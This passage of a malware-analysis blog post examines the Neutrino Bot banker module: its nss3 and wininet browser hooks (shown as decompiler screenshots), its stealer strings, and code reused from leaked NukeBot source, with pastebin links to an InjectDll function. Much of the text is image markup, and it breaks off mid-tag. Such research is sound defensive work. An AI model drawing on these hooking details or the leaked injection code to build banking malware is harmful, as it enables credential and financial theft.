srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png" width="400" height="328" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4></h4><h4>2.2. Browser hooks</h4><p> It performs hooks at frequently targetted nss3 and wininet APIs at browsers.<br><br>Nss3 hooks (IDA decompiled):<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png" width="400" height="210" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:210,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUXgdBc5dzUnAVsNd7iJkB9dypdmwBA5Uulc__D5dY04VfRZfg5-NdG5ynOBSh7WAOD0RhAnm4aRP4HO-lBezcksGYeNl-gngT9Z-XWzWG67EVIqIDHuScHFLSQ-HwvxpIwoKPJyE_05E/s400/neutrino_banker_nss3_hooks.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br>Wininet hooks (IDA decompiled):<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png" width="400" height="133" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:133,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_HyLjCybd3DwuMJHu0flGBmm0ug68k_lqTk9SJjphlLUoatd3zVsdWIOQLipk7-Vu6zLLWqJ7mTtjWiPFmaUMmXjjkAFbyx2tFQAAbVyZwO3dwl6Oq5YvpZrrQYQGrSRZXPe8Q1QfFKI/s400/neutrino_banker_wininet_hooks.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h4></h4><h4>2.3.&nbsp;Other stealer capabilities</h4><p> Other strings found into the banker module reveal additional stealer capabilities:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png" width="400" height="328" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhYGXBDH9DZ54MO0vAK7p5WeyglnqMB5pNkWMh_ETBUVupOMHFzJ0L4zjEF3jo7l3Nc2QPM9PASqQ75PG7xc0wikmbhCXfTPj64uik9sfbgnISAUSb1ldDYLJXzkh_MtkEI1SzuUpx60/s400/neutrino_banker_strings_related_stealer.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png" width="640" height="60" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:60,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHELDLGmE_19ErFq3s5PZIP_Lpx3xPe8Zf92pHcj4yPwXJ0o-_AacrTO4yToLoIqqszX8BLeVCBdVqPV4v4tWaAqpIH_nS4q4ccOS3Xmzf9McZxZNFhWaDNmKtSDwOI-94-9v0nQ_V8S4/s640/neutrino_banker_strings_related_stealer.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h3></h3><h3>3. Similarities with NukeBot leaked source</h3><p> Comparing some parts of the NukeBot code that was leaked on spring 2017 with the disassembled/decompiled code of the analyzed sample, we can check that there are similarities between them. Probably Neutrino Bot is an evolution or, at least, it reused code from NukeBot leaked code.</p><p> In this section, I comment about some parts of code where I found similarities, but probably, there are other parts of code that are very similar too.</p><h4></h4><h4>3.1. InjectDll function at banker module</h4><p> InjectDll is a function that appears in NukeBot leaked code and Neutrino Banker module.You can find the full code of both functions here:</p><ul><li><p>InjectDll source code from NukeBot leaked source:&nbsp;&nbsp;<a href="https://pastebin.com/LL9PnVb6">https://pastebin.com/LL9PnVb6</a></p></li><li><p>InjectDll decompiled code from Neutrino Bot analyzed sample:&nbsp;<a href="https://pastebin.com/K4cfUq4C">https://pastebin.com/K4cfUq4C</a></p></li></ul><p> Comparing both codes, we can check both functions are almost identical between NukeBot leaked source code and Neutrino analyzed sample. Probably this part of code was reused.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 424w, 